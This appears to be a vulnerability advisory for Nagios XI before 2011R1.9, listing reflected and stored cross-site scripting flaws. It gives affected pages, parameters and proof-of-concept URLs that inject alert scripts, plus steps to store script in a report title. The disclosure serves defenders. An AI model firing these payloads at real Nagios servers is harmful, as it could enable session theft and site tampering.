source: www.securityfocus.com/bid/51069/info

Nagios XI is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Nagios XI versions prior to 2011R1.9 are vulnerable. 

Reflected XSS
-----

Page:		/nagiosxi/login.php
Variables:	-
PoCs:		http://site/nagiosxi/login.php/";alert(&#039;0a29&#039;);"
Details:	The URL is copied into JavaScript variable &#039;backend_url&#039; in an unsafe
		manner
		Also affects:
		/nagiosxi/about/index.php
		/nagiosxi/about/index.php
		/nagiosxi/about/main.php
		/nagiosxi/account/main.php
		/nagiosxi/account/notifymethods.php
		/nagiosxi/account/notifymsgs.php
		/nagiosxi/account/notifyprefs.php
		/nagiosxi/account/testnotification.php
		/nagiosxi/help/index.php
		/nagiosxi/help/main.php
		/nagiosxi/includes/components/alertstream/go.php
		/nagiosxi/includes/components/alertstream/index.php
		/nagiosxi/includes/components/hypermap_replay/index.php
		/nagiosxi/includes/components/massacknowledge/mass_ack.php
		/nagiosxi/includes/components/xicore/recurringdowntime.php/
		/nagiosxi/includes/components/xicore/status.php
		/nagiosxi/includes/components/xicore/tac.php
		/nagiosxi/reports/alertheatmap.php
		/nagiosxi/reports/availability.php
		/nagiosxi/reports/eventlog.php
		/nagiosxi/reports/histogram.php
		/nagiosxi/reports/index.php
		/nagiosxi/reports/myreports.php
		/nagiosxi/reports/nagioscorereports.php
		/nagiosxi/reports/notifications.php
		/nagiosxi/reports/statehistory.php
		/nagiosxi/reports/topalertproducers.php
		/nagiosxi/views/index.php
		/nagiosxi/views/main.php

Page:		/nagiosxi/account/
Variables:	xiwindow
PoCs:		http://site/nagiosxi/account/?xiwindow="></iframe><script>alert(&#039;0a29&#039;)</script>

Page:		/nagiosxi/includes/components/massacknowledge/mass_ack.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/massacknowledge/mass_ack.php/&#039;><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/status.php
Variables:	hostgroup, style
PoCs:		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=&#039;><script>alert("0a29")</script>
		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/recurringdowntime.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/xicore/recurringdowntime.php/&#039;;}}alert(&#039;0a29&#039;)</script>


Page:		/nagiosxi/reports/alertheatmap.php
Variables:	height, host, service, width
PoCs:		http://site/nagiosxi/reports/alertheatmap.php?height="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?service="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?width="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/histogram.php
Variable:	service
PoCs:		http://site/nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/notifications.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/notifications.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/notifications.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/statehistory.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/statehistory.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/statehistory.php?service="><script>alert("0a29")</script>


Stored XSS
-----

Page:		/nagiosxi/reports/myreports.php
Variable:	title
Details:	It is possible to store XSS within &#039;My Reports&#039;, however it
is believed this
		is only viewable by the logged-in user.
		1) View a report and save it, e.g.
		http://site/nagiosxi/reports/myreports.php?add=1&title=Availability+Summary&url=%2Fnagiosxi%2Freports%2Favailability.php&meta_s=a%3A0%3A%7B%7D
		2) Name the report with XSS, e.g. "><script>alert("0a29")</script>